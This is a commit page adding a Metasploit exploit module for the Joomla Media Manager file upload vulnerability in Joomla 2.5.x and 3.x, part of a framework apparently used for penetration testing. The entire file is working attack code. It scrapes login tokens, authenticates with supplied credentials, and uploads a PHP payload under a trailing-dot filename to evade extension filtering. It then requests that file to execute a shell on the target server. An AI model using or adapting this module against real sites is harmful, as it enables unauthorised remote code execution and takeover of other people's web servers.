Land #2219 - OSVDB-95933: Joomla Media Manager File Upload Vulnerability
sinn3r
commit
54cffdb27d
|
|
@ -0,0 +1,235 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Joomla Media Manager File Upload Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as
|
||||
3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,
|
||||
which comes by default in Joomla, allowing arbitrary file uploads, and results in
|
||||
arbitrary code execution. The module has been tested successfully on Joomla 2.5.13
|
||||
and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media
|
||||
Manager, you will need to supply a valid username and password (Editor role or
|
||||
higher) in order to work properly.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '95933' ],
|
||||
[ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],
|
||||
[ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
# Arbitrary big number. The payload gets sent as POST data, so
|
||||
# really it's unlimited
|
||||
'Space' => 262144, # 256k
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Joomla 2.5.x <=2.5.13', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Aug 01 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
|
||||
OptString.new('USERNAME', [false, 'User to login with', '']),
|
||||
OptString.new('PASSWORD', [false, 'Password to login with', '']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def check
|
||||
res = get_upload_form
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body =~ /You are not authorised to view this resource/
|
||||
print_status("#{peer} - Joomla Media Manager Found but authentication required")
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
print_status("#{peer} - Joomla Media Manager Found and authentication isn't required")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def upload(upload_uri)
|
||||
begin
|
||||
u = URI(upload_uri)
|
||||
rescue ::URI::InvalidURIError
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to get the upload_uri correctly")
|
||||
end
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
|
||||
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{u.path}?#{u.query}",
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'cookie' => @cookies,
|
||||
'vars_get' => {
|
||||
'asset' => 'com_content',
|
||||
'author' => '',
|
||||
'format' => '',
|
||||
'view' => 'images',
|
||||
'folder' => ''
|
||||
},
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
return res
|
||||
|
||||
end
|
||||
|
||||
def get_upload_form
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "index.php"),
|
||||
'cookie' => @cookies,
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'option' => 'com_media',
|
||||
'view' => 'images',
|
||||
'tmpl' => 'component',
|
||||
'e_name' => 'jform_articletext',
|
||||
'asset' => 'com_content',
|
||||
'author' => ''
|
||||
}
|
||||
})
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def get_login_form
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
|
||||
'cookie' => @cookies,
|
||||
'vars_get' => {
|
||||
'view' => 'login'
|
||||
}
|
||||
})
|
||||
|
||||
return res
|
||||
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
|
||||
'cookie' => @cookies,
|
||||
'vars_get' => {
|
||||
'task' => 'user.login'
|
||||
},
|
||||
'vars_post' => {
|
||||
'username' => @username,
|
||||
'password' => @password
|
||||
}.merge(@login_options)
|
||||
})
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def parse_login_options(html)
|
||||
html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) {|option|
|
||||
@login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"
|
||||
}
|
||||
end
|
||||
|
||||
def exploit
|
||||
@login_options = {}
|
||||
@cookies = ""
|
||||
@upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"
|
||||
@username = datastore['USERNAME']
|
||||
@password = datastore['PASSWORD']
|
||||
|
||||
print_status("#{peer} - Checking Access to Media Component...")
|
||||
res = get_upload_form
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
|
||||
print_status("#{peer} - Authentication required... Proceeding...")
|
||||
|
||||
if @username.empty? or @password.empty?
|
||||
fail_with(Exploit::Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
|
||||
end
|
||||
@cookies = res.get_cookies.sub(/;$/, "")
|
||||
|
||||
print_status("#{peer} - Accessing the Login Form...")
|
||||
res = get_login_form
|
||||
if res.nil? or res.code != 200 or res.body !~ /login/
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Login Form")
|
||||
end
|
||||
parse_login_options(res.body)
|
||||
|
||||
res = login
|
||||
if not res or res.code != 303
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to Authenticate")
|
||||
end
|
||||
elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
print_status("#{peer} - Authentication isn't required.... Proceeding...")
|
||||
@cookies = res.get_cookies.sub(/;$/, "")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Accessing the Upload Form...")
|
||||
res = get_upload_form
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/
|
||||
upload_uri = Rex::Text.html_decode($1)
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Uploading shell...")
|
||||
|
||||
res = upload(upload_uri)
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
register_files_for_cleanup("#{@upload_name}.")
|
||||
print_status("#{peer} - Executing shell...")
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "images", @upload_name),
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue